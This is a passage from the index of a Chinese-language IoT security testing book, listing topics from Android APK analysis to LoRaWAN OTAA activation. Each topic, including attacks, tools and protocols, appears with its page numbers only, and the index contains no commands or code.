AndroidManifest.xml 文件,361,365–366
Android 开源项目 (AOSP),[386](c15.xhtml#Page_386)–[387](c15.xhtml#Page_387)
Android 包 (APK) 文件,360
利用本地文件管理器安装,391–393
二进制反向工程, 362–363
提取, 361
静态分析, 361–362
Android Studio IDE, 360
Android 验证启动, 341
Android 虚拟设备 (AVD) 管理器, 360
Animas OneTouch Ping 胰岛素泵安全问题, 11–12
宣布阶段
ippserver, 137–138
mDNS, 132
天线, RFID, 242–243
防碰撞循环命令, 258–259
反黑客法律, 12–13
"ANY" 查询, 134–135
AOSP (Android 开源项目), 386–387
APK 文件. 参见 Android 包 (APK) 文件
Apktool, 361, 402
Apkx, 361
应用目录,检查, 366
AppEUI (应用标识符), 325
AppKey, 323, 325
应用分析方法, 210–211
应用上下文,A-ASSOCIATE 请求消息, 110–111
应用实体标题, 102
应用家庭标识符 (AFI), 244
应用标识符 (AppEUI), 325
应用层, LoRaWAN, 324
应用日志,检查, 351–352
应用映射, 48
应用服务器, 50, 309
应用签名, 340
应用特定攻击, LoRaWAN, 331
AppNonce, 326
AppSKey, 323, 326
APs. 参见 接入点 (APs)
APT (高级持续性威胁) 攻击, 26
ARC (自动引用计数), 346
Arduino, 402
编写目标程序代码, 172–174
刷写和运行程序, 174–180
Arduino 集成开发环境 (IDE), 170, 180
Heltec LoRa 32 开发板,设置, 309–314
设置, 170–172
设置控制器-外设 I²C 总线架构, 201–202
Arduino SAM 板, 171
Arduino Uno 微控制器, 198–202
A 记录,138–140,144
A-RELEASE 请求消息,96
A-RELEASE 响应消息,96
ar 参数,261–262
以资产为中心的威胁模型,30
关联攻击,291–295
Atheros AR7 设备,225–226
Atlasis,Antonios,133
at 参数,261–262
以攻击者为中心的威胁模型,31
攻击树,28–29
Attify Badge,403
A 型消息,96–97,99
认证
BLE,282–283
MIFARE 卡,258–259
移动应用,340–341
双向,94
嵌套认证攻击,374
Web 应用测试,49
授权、测试,49–50
AutoIP,119
自动设备发现,145
自动引用计数(ARC),346
自动化
固件分析,215–216
使用脚本引擎的 RFID 攻击,263–264
应用源代码的静态分析,346,361
AVD(Android 虚拟设备)管理器,360
B
后门代理,223–228
Baksmali,368–369
横幅抓取,44
基站,372
电池消耗攻击,42
波特率,162–163,317
b 命令,349
信标帧,293
信标,270
Beagle I2C/SPI 协议分析仪,403
钉床过程,164
Bettercap,276
发现设备并列出特性,276–278
破解 BLE,279–285
概览,403
BinaryCookieReader,350–351,403
二进制仿真,216–217
二进制逆向
InsecureBankV2 应用,362–363
OWASP iGoat 应用,355–356
bin/passwd 二进制文件,213
Binwalk,212,219,403
binwalk Nmap 命令,70–71
BIOS 安全测试,41
位翻转攻击,327–330
Black Magic Probe,165
Black Pill(STM32F103C8T6)
选择启动模式,174–175
在 Arduino 中编码目标程序,172–174
连接到计算机,179–180
连接 USB 到串行适配器,178
调试目标,181–188
刷写并运行 Arduino 程序,174–180
概览,169–170,412
UART 引脚,通过逻辑分析仪识别,176–177
上传 Arduino 程序,175–176
BladeRF,403
BLE(蓝牙低能耗)。参见 蓝牙低能耗(BLE)
BLE CTF 无限
认证,282–283
检查特性和描述符,281–282
入门,279–280
概览,278
设置,279
欺骗 MAC 地址,283–285
ble.enum 命令,284
ble.show 命令,276
ble.write 命令,278
BlinkM LED,198–202,404
蓝牙低能耗(BLE),269。参见 BLE CTF 无限
BlueZ,273–274
配置接口,274–275
发现设备,275–278
GAP,271–272
GATT,272
一般讨论,270–272
硬件,273
列出特性,275–278
概览,269–270
数据包结构,271
BlueZ,273–274
Bolshev, A.,367
Bolt,Usain,400
Bonjour,138–139
启动环境,安全测试,41
启动模式,ST-Link 编程器,174–175
边界扫描,164
面包板,169
调试中的断点,设置,349
发布-订阅架构中的代理, 73
暴力破解攻击, 213–214
克隆 MIFARE Classic 卡, 252–253
预共享密钥攻击, 301
RFID 读卡器认证控制, 262–263
Wi-Fi Direct, 296–297
BSSID, 288
bufsiz 变量, 173
IoT 设备的内建安全性, 5
捆绑容器, 347
Burp Proxy Suite, 356–357
Burp Suite, 404
Bus Blaster, 404
Bus Pirate, 190
攻击 I²C, 202–206
与 SPI 芯片通信, 194–195
概述, 190, 404
读取内存芯片内容, 196
BusyBox, 67
busybox 文件, 217
BYPASS 命令, JTAG, 164
C
CA(SSL 证书颁发机构), 357
摄像头, IP. 参见 IP 摄像头
Capture the Flag (CTF). 参见 BLE CTF Infinity
CatWAN USB Stick, 309, 404
转换为 LoRa 嗅探器, 318–322
cbnz 命令, 185–186
C-ECHO 消息, 96–97
C-ECHO 请求分析器, 构建, 101–105
中央设备, 270
证书透明性, 37
CFAA(计算机欺诈和滥用法案), 12–13
特性, BLE, 272
检查, 281–282
列出, 275–278
char-read-hnd <handle> 命令, 282
charset 变量, 265
checkEmulatorStatus() 函数, 368–369
check_fwmode 文件, 71
芯片选择(CS), 191
ChipWhisperer, 404
chk 命令, 252–253
chmod a+x <script_name>.js 命令, 328
chmod 工具, 376
基于密码的消息认证码 (CMAC), 325
CIPO(控制器输入,外围设备输出), 191
CIRCUITPY 驱动, 319, 320
CircuitPython, 405
设置, 318–319
编写 LoRa 嗅探器, 320–322
模拟 Cisco VoIP 设备,66–67
类别,RFID 标签,243
classes.dex 文件,361
客户端,WS-Discovery,145–146
客户端代码,固件更新机制,229–232
客户端冒充攻击,94
客户端,列举和安装,90
客户端控制,48–49
克隆 RFID 标签
高频,250–254
锁系统的,372–375
低频,249
云测试,54
Clutch,344,405
CMAC(基于密码的消息认证码),325
cmd 结构,85
行为规范,英国,14
code.py 文件,319,320
com.android.insecureBankv2.PostLogin 文件,368
组合攻击,214
IoT 设备的组成,6
计算机欺诈与滥用法(CFAA),12–13
config_load "upnpd" 命令,123–124
配置文件
固件中的凭证查找,214–215
OpenOCD 服务器,181–182
ConfigureConnection 命令,129
CONNACK 数据包,MQTT,75–76,80,82–84
connect <mac address> 命令,275
CONNECT 数据包,MQTT,74,80–82
content update 命令,398
上下文,DICOM,103–104
IoT 设备的上下文,6
continue 命令,GDB,185
连续性测试,161
控制数据,RFID 标签中的 243
控制层,UPnP,120
控制器输入,外设输出(CIPO),191
控制器输出,外设输入(COPI),191
控制器-外设 I²C 总线架构,设置,198–202
控制服务器,药物输注泵,19,20
控制服务器服务,20,23–24
Cookies,读取,350–351
COPI(控制器输出,外设输入),191
CoreData 框架,348
核心,171
制作攻击,152–153
CRCs(循环冗余校验),243, 313, 324
凭证
在固件配置文件中查找,214–215
固件更新服务漏洞,233–234
WS-Discovery 攻击,153
Credentials.plist 文件,345
婴儿床拖动,331
跨站请求伪造 (CSRF) 攻击,49
加密密钥,8
CS(芯片选择),191
CSRF(跨站请求伪造)攻击,49
CTF。参见 BLE CTF 无限
CubicSDR, 376–378, 405
循环冗余校验 (CRC),243, 313, 324
Cydia Impactor,344
D
Dalvik 可执行文件 (DEX) 格式,361
Damn Vulnerable ARM Router (DVAR), 235
Damn Vulnerable IoT 设备 (DVID),235
Darkside 攻击,373–374
仪表盘 APK,397–398, 400
应用程序数据库,检查,366–367
数据位,UART,158
数据容器,347
数据加密,测试,53
数据链路层,131
数据保护,移动应用,339–340
数据表,37
数据存储格式标识符 (DSFID),244
DDoS(分布式拒绝服务攻击),4–5
断开身份验证帧,289
去身份验证攻击,289–291
调试
接口评估,42
黑色药丸
使用 GDB,183–188
设置环境,170–172
在移动应用程序上,348–349
调试符号,183
#define 指令,229
DeletePortMapping 命令,130
拒绝服务攻击,22
ACK 欺骗,331
在控制服务器服务上,24
在药物库上,24
在固件上,26
在硬件上,27
在 IP 摄像头上,152–153
在操作系统上,25
在泵服务上,28
在限制性用户界面上,22–23
STRIDE 威胁分类模型,19
针对无线客户端,289–291
依赖协议,发现,90
描述层,UPnP,119
描述 XML 文件,119–120
描述符,BLE,272, 281–282
DevAddr(终端设备地址),324, 326
DevEUI(终端设备标识符),325
设备认证,18
设备引导加载程序,211
设备发现阶段,Wi-Fi Direct,296
DevNonce,325
DEX(Dalvik 可执行)文件格式,361
Dex2jar,361, 405
添加用户名到 dialout 组,310
dicom_protocol .dissector() 函数,102
dicom.associate() 函数,114–115
dicom.pdu_header_encode() 函数,113
DICOM Ping,96–97
DICOM 协议,95。另见 DICOM 服务扫描器
C-ECHO 请求解码器,构建,101–105
一般讨论,95–97
Lua Wireshark 解码器,开发,99–101
流量,生成,97
DICOM 服务扫描器,105
A-ASSOCIATE 请求消息,110–114
代码和常量,定义,106–107
最终脚本,编写,113–114
发送和接收数据包的函数,108–109
Nmap 脚本引擎库,创建,106
概述,105
数据包头,创建,109–110
脚本参数,在 Nmap 脚本引擎中读取,112
套接字创建和销毁函数,107–108
dicom.start_connection() 函数,107–108
字典攻击,49
差分功率分析,42
数字千年版权法(DMCA),12–13
数字签名,94
指令,Nmap 服务探测,72
disassemble 命令,GDB,184–185
取消关联帧,289
发现 BLE 设备,275–278
发现层,UPnP,119
dissector() 函数,99–100
解码器
C-ECHO 请求,构建,101–105
Lua Wireshark,99–101
测试 Wireshark,91
分布式拒绝服务(DDoS),4–5
DMCA(数字千年版权法),12–13
dmesg 命令,246
域名系统服务发现(DNS-SD),131
使用进行侦察,133–134
一般讨论,132–133
中间人攻击
mDNS 投毒器,创建,141–144
mDNS 投毒器,测试,144–146
典型客户端与服务器交互,139–140
受害者客户端,设置,138–139
受害者服务器,设置,136–138
概述,132
Dot1Q() 函数,64
双标签攻击,63–65
降级攻击,94
停机时间,52
DREAD 分类方案,29–30
Drozer,363–365,405
药物输注泵
架构,19–21
识别威胁
使用攻击树,28–29
控制服务器服务,23–24
药物库,24
固件,25–26
操作系统,25
概述,21–22
物理设备,26–27
泵服务,27–28
RUI,22–23
DSFID(数据存储格式标识符),244
DTP(动态中继协议),61
dumpedkeys.bin 文件,253–254
dump 参数,253–254
dumptoemul 脚本,263
DVAR(极易受攻击的 ARM 路由器),235
DVID(极易受攻击的物联网设备),235
动态分析
固件,221–223
InsecureBankV2 应用,363–367
OWASP iGoat 应用,347–353
动态补丁
绕过越狱检测,357–358
绕过 root 检测,369–370
动态中继协议(DTP),61
E
EAP over LAN (EAPOL) 握手, 299–300
EAP-TLS, 304–305
EAP-Tunneled-TLS (EAPTTLS), 304–305
窃听, 331
LoRaWAN, 331
在标签到读取器通信中, 260–261
Eclipse Mosquitto 软件, 75
IoT 制造的经济学, 6
EEPROM 闪存芯片, 使用 SPI 转储, 192–196
eget 命令, 256
电子健康记录 (EHR), 19
权限提升, 23
在控制服务器服务上, 24
在药物库上, 24
在固件上, 26
在硬件上, 27
在操作系统上, 25
在泵服务上, 28
在受限用户界面上, 23
智能跑步机, 攻击, 394
STRIDE 威胁分类模型, 19
ELF (可执行和可链接格式) 文件, 183
eload 参数, 255, 265
紧急停止按钮, 398
.eml 文件, 加载到 Proxmark3 内存中, 265
仿真, 固件, 216–221
Wireshark 的启用协议窗口, 91–92
加密
检查, 94
移动应用程序文件系统, 339–340
测试, 53
终端设备地址 (DevAddr), 324, 326
终端设备标识符 (DevEUI), 325
协议的字节顺序, 93
EPSON 的 iPrint 应用程序, 363
提升权限。参见 权限提升
eset 参数, 255
ESP32 开发板, 273, 309–314
ESSID, 288
etc/passwd 文件, 213, 221
Ether() 函数, 64
事件层, UPnP, 120
EvilDirect 攻击, 297–299
恶意双胞胎攻击, 291–292
exacqVision, 147–152
Exclude Nmap 服务探测指令, 72
可执行和可链接格式 (ELF) 文件, 183
可执行二进制文件, 检查内存保护, 345–346
利用, 协议或服务, 47
Android 应用中的导出活动, 361
局域网(EAPOL)握手中的可扩展认证协议(EAP),299–300
外部实体(XXE)攻击, 121
EXTEST 命令,JTAG,164
F
FACT(固件分析与比较工具),406
失败开放条件, 49
假装网络中的摄像头
在 Wireshark 中分析请求和回复,147–149
模拟摄像头,149–152
设置,147
fallback Nmap 服务探测指令,72
FBE(基于文件的加密), 339–340
FCC ID 在线数据库,37–38
fchk 命令,253
FCntDown 帧计数器,330
FCntUp 帧计数器,330
FDE(全盘加密), 339–340
影响物联网研究的联邦法律,12–13
Fernandes, E.,368
fetchButtonTapped 函数,358–359
FFmpeg,384
FHDR(帧头),324
基于文件的加密(FBE), 339–340
文件管理器应用程序,跑步机浏览器,392–393
文件结构,iOS,347
文件系统
访问控制,测试,53
固件,212–216
移动应用,339–340
find 命令,347
指纹识别, 44, 67–71
防火墙
在固件中禁用,222
穿透防火墙,121–126
FIRMADYNE, 216, 218–221, 227, 405
Firmwalker,215–216, 405
固件, 25。 另见 固件更新机制;Wi-Fi 调制解调器路由器黑客攻击
后门攻击,223–228
一般讨论,208
识别对防火墙的威胁,25–26
获取,209–211
安全测试,42
固件分析与比较工具(FACT),406
固件工具包,226
固件更新机制, 228
客户端代码,229–232
编译和设置,229
一般讨论,228
运行更新服务,232–233
漏洞,233–235
固定头部,MQTT CONNECT 数据包,80–82
标志,355
闪存芯片,使用 SPI 转储,192–196
flashrom Linux 工具,195–196
泛洪攻击,94
流程图,38–39
强制浏览,50
ForceTermination 命令,129
fork() 命令,224
福肖,詹姆斯,92,116
傅里叶变换,47
四次握手,WPA/WPA2,299–300
FPort,324
帧头 (FHDR),324
框架,8–10
Frida 插桩框架,406
越狱检测,避免,357–358
根目录检测,避免,369–370
跑步机软件和物理按钮,禁用,398–399
FRMPayload,324,327
fs 命令,355
fswatch 应用程序,347–348
FTDI FT232RL,406
完整磁盘加密 (FDE),339–340
熔断,32
fuzz() 函数,266
模糊测试
概述,94
RFID, 使用自定义脚本, 264–268
G
GAP (通用访问配置文件),271–272
加西亚,丹尼尔,118,128
加尔格,普雷里特,18
网关,LoRaWAN,309
GATT (通用属性配置文件),272
GATTTool,275,406
发现设备并列出特征,275–276
破解 BLE,279–285
读取和写入特征,278
GDB,172,406
使用调试,183–188
安装,172
gdb-multiarch 命令,183
盖革,哈利,12–13
通用访问配置文件 (GAP),271–272
通用属性配置文件 (GATT),272
通用属性配置文件工具 (GATTTool)。参见 GATTTool
GetAutoDisconnectTime 命令,129
GetConnectionTypeInfo 命令,128
GetExternalIPAddress 命令,130
GetGenericPortMappingEntry 命令,129
GetIdleDisconnectTime 命令,129
GetLinkLayerMaxBitRates 命令,129
GetNATRSIPStatus 命令,129
GetPassword 命令,129
GetPPPAuthenticationProtocol 命令,129
GetPPPCompressionProtocol 命令,129
GetPPPEncryptionProtocol 命令,129
GetSpecificPortMappingEntry 命令,129
GetStatusInfo 命令,129
GetUserName 命令,129
GetWarnDisconnectDelay 命令,129
Ghidra,185,406
git 命令,226–227
闪烁攻击, 42
地线(GND),197,199
GND(地面)端口,UART,159,161–162,178
GNUcitizen,118
GNU 调试器(GDB), 172
调试, 183–188
安装,172
Goldberg,Dave,400
Goode,Lauren,4
Google Dorks,209
地面(GND)端口,UART,159,161–162,178
地线(GND),197,199
组所有者, 295
组临时密钥(GTK), 300
指导文档, 8–10
H
HackRF One,407
HAL(硬件抽象层), 396
halt 命令,182
硬编码凭据,233–234
硬件
BLE,273
识别威胁,26–27
安全测试,40–43
智能跑步机设计,394–396
用于 Wi-Fi 安全评估,288
硬件抽象层(HAL), 396
硬件抽象层 APK,396
硬件文件夹,Arduino IDE,170–171
硬件完整性攻击, 32
Hashcat,213–214,302,304,407
hashid,213–214
哈希算法,不安全,234
Hciconfig, 274
Hcxdumptool, 302–303, 407
hcxpcaptool 命令, 303
Hcxtools, 302, 407
Heffner, Craig, 163
Heltec LoRa 32 开发板, 309
概述, 309, 407
作为 LoRa 发送器的编程, 310–313
设置, 309–310
测试 LoRa 发送器, 310–314
hf 14a raw 命令, 258–259
hf-mf-B46F6F79-data.bin 文件, 254
hf mf 命令, 251
hf mf ecfill 命令, 374
hf mf mifare 命令, 373–374
hf mf nested 命令, 374
hf mf rdsc 命令, 253
hf mf sim 命令, 262–263, 375
hf 参数, 248
hf search 命令, 258, 372–373
Hickory Smart 应用, 351
隐藏内容, 48
隐藏的 Wi-Fi 网络, 288
HID Global ProxCard, 244, 246
hid 参数, 249
高频 RFID
天线, 243
克隆标签, 250–254
一般讨论, 245
使用 Proxmark3 进行识别, 248–249
HiLetgo USB 逻辑分析仪, 176–177
连接医疗设备的希波克拉底誓言, 9
HMAC-MD5, 234
Homebrew 包, 347–348
主机配置审查, 50–54
主机发现, 43
HTTP 缓存, 350
华为 HiLink 应用, 353
Hydrabus, 407
I
I²C。见 集成电路间总线(I²C)
我是骑兵框架, 5–6, 9
IDA Pro, 408
IDE(集成开发环境),Arduino。见 Arduino 集成开发环境(IDE)
RFID 标签中的身份数据, 243
空闲状态, UART, 158
IDOR(不安全的直接对象引用), 54
IGD(互联网网关设备)协议。见 互联网网关设备(IGD)协议
iGoat 移动应用
二进制反向工程, 355–356
动态分析, 347–353
注入攻击, 353–354
IPA,提取和重新签名, 343–344
避免越狱检测, 357–360
钥匙链存储, 354
拦截和检查网络流量, 356–357
概述, 341–342
静态分析, 344–346
测试环境,准备中, 342–343
iI 命令, 355
隐式头模式, 322
跑步机的倾斜度,远程控制, 394–398
info functions 命令,GDB, 183–184
info registers 命令,GDB, 185
信息泄露, 22
关于控制服务器服务, 24
关于药物库, 24
关于固件, 26
关于硬件, 27
关于操作系统, 25
关于泵服务, 28
关于限制性用户界面, 22
STRIDE 威胁分类模型, 19
信息收集阶段,网络协议检查, 90–91
信息对象定义(IODs), 110–111
信息属性列表文件, 344–345
init 命令, 182
注入攻击
OWASP iGoat 应用程序, 353–354
SQL, 24, 120, 354
XSS, 353–354
跑步机攻击造成的伤害, 400
输入验证, 50
InsecureBankV2 应用程序
二进制逆向分析, 362–363
动态分析, 363–367
提取 APK, 361
拦截和检查网络流量, 367
概述, 360
准备测试环境, 360–361
边信道泄露, 367–368
静态分析, 361–362
不安全的直接对象引用(IDOR), 54
不安全的哈希算法, 234
不安全的金丝雀, 14
胰岛素泵, 11–12, 16
内部集成电路(I²C), 189
使用 Bus Pirate 进行攻击, 202–206
控制器-外设总线架构,设置,198–202
一般讨论,197–198
与之通信的硬件,190–191
概述,189
互联网网关设备(IGD)协议,121
通过 WAN 接口滥用 UPnP,126–131
穿越防火墙,121–122,124–125
物联网(IoT),3–4
IOD(信息对象定义),110–111
iOS 应用
二进制反向工程,355–356
动态分析,347–353
注入攻击,353–354
IPA,提取和重新签名,343–344
避免越狱检测,357–360
钥匙串存储,354
网络流量,拦截和检查,356–357
概述,341–342
安全控制,339–341
静态分析,344–346
测试环境,准备,342–343
威胁,337–338
iOS 应用商店包(IPA),343–344
物联网(IoT),3–4
物联网设备,识别网络中的设备
指纹识别服务,67–71
Nmap 服务探测,编写新,71–73
物联网安全
专家观点,12–16
框架、标准和指南,8–10
黑客技术,6–8
重要性,4–5
胰岛素泵安全问题,11–12
传统安全与,5–6
IPA(iOS 应用商店包),343–344
IP 摄像头
在网络上伪装
在 Wireshark 中分析请求和回复,147–149
模拟摄像头,149–152
设置,147
Nmap 服务探测,编写,71–73
播放流媒体
分析网络流量,380–382
提取视频流,382–385
概述, 379–380
流媒体协议, 380
服务指纹识别, 67–71
WS-Discovery 攻击, 152–153
IP() 函数, 64
ippserver, 136–137, 140, 145
iptables 工具, 222
iRemocon- WiFi 应用, 367
iwconfig 命令, 299
J
JADX, 361, 408
越狱检测, 避免, 357–358
干扰无线警报, 375–379
Jarsigner, 369
John the Ripper, 213–214, 408
Join-Accept, 326
加入 LoRaWAN 网络, 324–327
Join-Request, 325–326
联合测试行动小组 (JTAG), 157
边界扫描命令, 164
用于通信的硬件工具, 165
标识引脚, 166–167
概述, 157–158, 164
测试接入端口 (TAP), 164–165
JTAGenum 工具, 167
JTAGulator, 166, 408
跳线引脚, 175
跳线, 169
Junior, M., 366
K
KARMA 攻击, 292
钥匙链服务 API, 354
钥匙链存储, iGoat 应用, 354
密钥生成与管理, LoRaWAN, 330
钥匙锁系统, 克隆 RFID 标签, 372–375
Keytool, 369
kiosk 模式, 40–41
已知信标攻击, 292–295
Kohnfelder, Loren, 18
Kr00k, 291
L
影响物联网研究的法律, 12–13
合法的 RFID 阅读器攻击, 262–263
lf 参数, 248
LimeSDR, 408
list 命令, GDB, 184–185
LLDB, 348–350, 408
llvm clang 静态分析器, 346
load_seed_tag() 函数, 265, 266
本地链路协议, 131–132
本地范围辅助函数, 79
锁定机制, 51
锁定,评估, 41
日志文件,敏感, 234
日志记录,UPnP, 121
逻辑分析仪, 162, 163, 176–177
逻辑缺陷, 50
长距离(LoRa), 307–308。另见 LoRaWAN 协议
CatWAN USB 设备,将其转变为 LoRa 嗅探器, 318–322
Heltec LoRa 32,设置, 309–314
LoStik,设置, 314–318
概述, 308–309
物理层, 323–324
发送数据包, 311–313
loop() 函数, 173–174, 313
LoRa.endPacket() 函数, 313
lora-packet 库, 328–329
LoRa.print() 函数, 313
LoRaWAN 协议
ACK 欺骗, 331
应用特定攻击, 331
位翻转攻击, 327–330
窃听, 331
一般讨论, 308–309
加入网络, 324–327
密钥生成与管理, 330
概述, 318–322
数据包格式, 323–324
重放攻击, 330–331
LoStik, 309, 314–318, 409
低频 RFID
用于的天线, 243
克隆标签, 249
一般讨论, 244–245
使用 Proxmark3 进行识别, 248–249
低功耗广域网(LPWAN),* 307 –309。另见* 长距离(LoRa);LoRaWAN 协议
Lua, 95。另见 DICOM 服务扫描器
在 Wireshark 中启用, 97–99
一般讨论, 95
生成 DICOM 流量, 97
使用进行原型开发, 93
Wireshark 分析器,开发 DICOM 协议, 99–101
M
MAC 地址,欺骗, 283–285
MAC 头(MHDR), 324
MAC 层,LoRaWAN, 324
mac pause 命令, 316
MACPayload, 324
宏,I²C 库,[204](c08.xhtml#Page_204)–[205](c08.xhtml#Page_205)
main() 函数,[142](c06.xhtml#Page_142),[229](c09.xhtml#Page_229)–[232](c09.xhtml#Page_232)
make 命令,[226](c09.xhtml#Page_226)
Malith,Osanda,[224](c09.xhtml#Page_224)
管理服务账户,[52](c03.xhtml#Page_52)
管理帧,[288](c12.xhtml#Page_288)
中间人攻击,[23](c02.xhtml#Page_23)。另见 回放 IP 摄像头流
在控制服务器服务上,[23](c02.xhtml#Page_23)
iOS 应用,[356](c14.xhtml#Page_356)–[357](c14.xhtml#Page_357)
mDNS 或 DNS-SD
mDNS 中毒攻击者,创建,[141](c06.xhtml#Page_141)–[144](c06.xhtml#Page_144)
mDNS 中毒攻击者,测试,[144](c06.xhtml#Page_144)–[146](c06.xhtml#Page_146)
典型客户端和服务器交互,[139](c06.xhtml#Page_139)–[140](c06.xhtml#Page_140)
受害者客户端,设置,[138](c06.xhtml#Page_138)–[139](c06.xhtml#Page_139)
受害者服务器,设置,[136](c06.xhtml#Page_136)–[138](c06.xhtml#Page_138)
通过获得固件,[211](c09.xhtml#Page_211)
系统手册,[37](c03.xhtml#Page_37)
制造商数据,[244](c10.xhtml#Page_244)
match Nmap 服务探测指令,[72](c04.xhtml#Page_72)
MCU(微控制器单元),[211](c09.xhtml#Page_211)
MD5 哈希,[232](c09.xhtml#Page_232)
MDM(移动设备管理),[386](c15.xhtml#Page_386)
mDNS。参见 多播域名系统(mDNS)
MDNS 类,创建,[143](c06.xhtml#Page_143)–[144](c06.xhtml#Page_144)
mDNS 中毒攻击者
创建,[141](c06.xhtml#Page_141)–[144](c06.xhtml#Page_144)
测试,[144](c06.xhtml#Page_144)–[146](c06.xhtml#Page_146)
典型客户端和服务器交互,[139](c06.xhtml#Page_139)–[140](c06.xhtml#Page_140)
受害者客户端,设置,[138](c06.xhtml#Page_138)–[139](c06.xhtml#Page_139)
受害者服务器,设置,[136](c06.xhtml#Page_136)–[138](c06.xhtml#Page_138)
MDNS_poisoner 函数,[142](c06.xhtml#Page_142)
mDNS 反射 DDoS 攻击,[94](c05.xhtml#Page_94)
mdw 命令,[182](c07.xhtml#Page_182)
医疗设备安全
胰岛素泵安全问题,[11](c01.xhtml#Page_11)–[12](c01.xhtml#Page_12)
患者视角,[14](c01.xhtml#Page_14)–[16](c01.xhtml#Page_16)
内存损坏漏洞,[120](c06.xhtml#Page_120)
消息完整性码(MIC),[300](c12.xhtml#Page_300),[323](c13.xhtml#Page_323)–[326](c13.xhtml#Page_326)
消息队列遥测传输(MQTT)
发布-订阅架构,[73](c04.xhtml#Page_73)–[74](c04.xhtml#Page_74)
测试环境,设置,[75](c04.xhtml#Page_75)–[76](c04.xhtml#Page_76)
测试 Ncrack 模块,[86](c04.xhtml#Page_86)–[87](c04.xhtml#Page_87)
在 Ncrack 中编写身份验证破解模块,[77](c04.xhtml#Page_77)–[86](c04.xhtml#Page_86)
mfkey64 工具,[262](c10.xhtml#Page_262)
mfkeys 脚本,[263](c10.xhtml#Page_263)
MHDR(MAC 头),[324](c13.xhtml#Page_324)
MIC(消息完整性码),[300](c12.xhtml#Page_300),[323](c13.xhtml#Page_323)–[326](c13.xhtml#Page_326)
微控制器黑客攻击
启动模式, 选择, 174–175
在 Arduino 中编写目标程序, 172–174
连接到计算机, 179–180
连接 USB 到串口适配器, 178
设置调试环境, 170–172
调试目标, 181–188
烧录并运行 Arduino 程序, 174–180
STM32F103C8T6 目标设备, 169–170
工具, 168–169
使用逻辑分析仪识别 UART 引脚, 176–177
上传 Arduino 程序, 175–176
微控制器单元 (MCU), 211
MIFARE 卡片
访问位, 251
更改 RFID 标签, 255–256
使用 Android 应用进行攻击, 256–257
认证协议, 258, 259
克隆 Classic 卡片, 250–254
克隆钥锁系统的 RFID 标签, 372–375
从捕获的流量中提取私钥, 261–262
MIFARE Classic 内存映射, 250
概述, 245
原始命令, 通过读取, 258
模拟 RFID 标签, 254–255
MIFARE Classic 工具, 256–257
mini ST-Link 编程器, 168
MiniUPnP, 设置, 122–124
Mirai 僵尸网络, 4–5, 6
Miranda, 125, 130, 409
移动应用. 另见 iGoat 移动应用; InsecureBankV2 应用
结构, 336
一般移动设备威胁, 337
概述, 335–336
避免 root 检测, 368–370
安全控制, 339–341
安全测试, 54
威胁, 337–338
移动设备管理 (MDM), 386
移动安全框架 (MobSF), 346, 409
ModemManager, 247
modprobe 命令, 63
Moe, Marie, 15
监控模式, AP, 288
Moore, H.D., 118
.mpy 文件, 319
MQTT. 参见 消息队列遥测传输 (MQTT)
MQTT_FINI 状态, Ncrack, 79–80, 85–86
MQTT_INIT 状态, Ncrack, 79–80, 84–86
mqtt_loop_read 函数, 79, 83, 86
msearch 命令, 125
M-SEARCH 请求, 119
MU 编辑器, 320–322
多播域名系统 (mDNS), 131
滥用探测阶段, 134–136
一般讨论, 132
中间人攻击
创建 mDNS 欺骗者, 141–144
测试 mDNS 欺骗者, 144–146
典型的客户端和服务器交互, 139–140
受害客户端,设置, 138–139
受害服务器,设置, 136–138
概述, 131–132
与之进行侦察, 133–134
多用表, 160–162
基于变异的模糊测试, 264
相互认证, 94
MyCar 控制移动应用, 356
N
NAC(网络访问控制), 18
窄带(NB-IoT), 308
NAT(网络地址转换), 121
原生 VLAN, 63, 63
NB-IoT(窄带), 308
ncat Nmap 命令, 69
Ncrack, 74, 409
架构, 77
编译, 77–78
初始化模块, 78–79
概述, 77
测试模块对 MQTT, 86–87
编写认证破解模块, 77–86
ncrack_mqtt 函数, 84–86
ncrack-services 文件, 78
近场通信(NFC), 245, 296
嵌套认证攻击, 374
Netgear D6000
动态分析, 221–223
提取文件系统, 212
固件仿真, 216–221
概述, 211–212
静态分析文件系统内容, 213–216
支持页面, 211
网络应用, 223
NetID(网络标识符), 326
netstat 命令,222
网络访问控制(NAC),18
网络地址转换(NAT),121
网络评估
在网络上识别物联网设备,67
使用指纹识别服务,67–71
Nmap 服务探测,编写新探测,71–73
MQTT,攻击
概述,73–74
测试环境,设置,75–76
对 MQTT 进行 Ncrack 模块测试,86–87
在 Ncrack 中编写身份验证破解模块,77–86
概述,59
VLAN 跳跃攻击
双重标签攻击,63–65
模拟 VoIP 设备,65–67
概述,60
交换机欺骗攻击,61–63
VLAN 和网络交换机,理解,60–61
网络标识符(NetID),326
网络层,43–47
网络打印机,中间人攻击。参见 mDNS 欺骗工具
网络协议。另请参见 DICOM 协议
分析阶段,92–93
C-ECHO 请求分析器,构建,101–105
信息收集阶段,90–91
概述,89–90
原型制作与工具开发,93
安全评估,93–94
攻击的阶段,45–47
网络服务器,309
网络套接字,设置,150
网络交换机,60–61
网络流量
的分析,46
使用 Wireshark 进行分析,92
InsecureBankV2 应用,367
IP 摄像头流分析,380–382
获取副本,92
OWASP iGoat 应用,356–357
NewInternalClient bug,120
NFC(近场通信),245,296
Nmap,409
指纹识别服务,67–71
编写新的服务探测,71–73
nmap 库,106–107
Nmap 脚本引擎(NSE),112。另请参见 DICOM 服务扫描器
Nmap 脚本引擎(NSE)库,106
nmap-service-probes 文件, 68, 70, 72
nmcli 命令, 63
node-applesign, 344
节点克隆, 32
Node.js, 327–328
节点, LoRaWAN, 309
NOTIFY 消息, 119
NotPetya 攻击, 5
npm 包管理器, 328
nr 参数, 261–262
NSE(Nmap 脚本引擎), 112。另见 DICOM 服务扫描器
NSE(Nmap 脚本引擎)库, 106
nsedebug 库, 106
NSEdoc 块格式, 108
nsock_iod 变量, 85
nsock_read 变量, 85
nsock_write 变量, 85
Nsock 库, 77
nt 参数, 261–262
NULL 探测, Nmap, 72
NwkSKey, 323, 326
NXP 卡, 245
O
OhMiBod Remote Android 应用, 367
ojbc.pl 脚本, 355
ONVIF, 145
开漏驱动, 197
打开模式, Wi-Fi 网络, 288
OpenOCD(开放芯片调试器), 165
安装, 171–172
概述, 165, 409
开源情报(OSINT), 37–40
开放 Web 应用程序安全项目(OWASP), 9–10。另见 iGoat 移动应用
OpenWrt
编译后门代理, 225–226
测试 UPnP 服务器, 设置, 122–125
操作系统, 25, 44
Orthanc, 97
OSINT(开源情报), 37–40
Otool, 345–346, 410
空中下载 (OTA) 更新, 26
空中激活(OTAA)方法, 323–326, 330–331
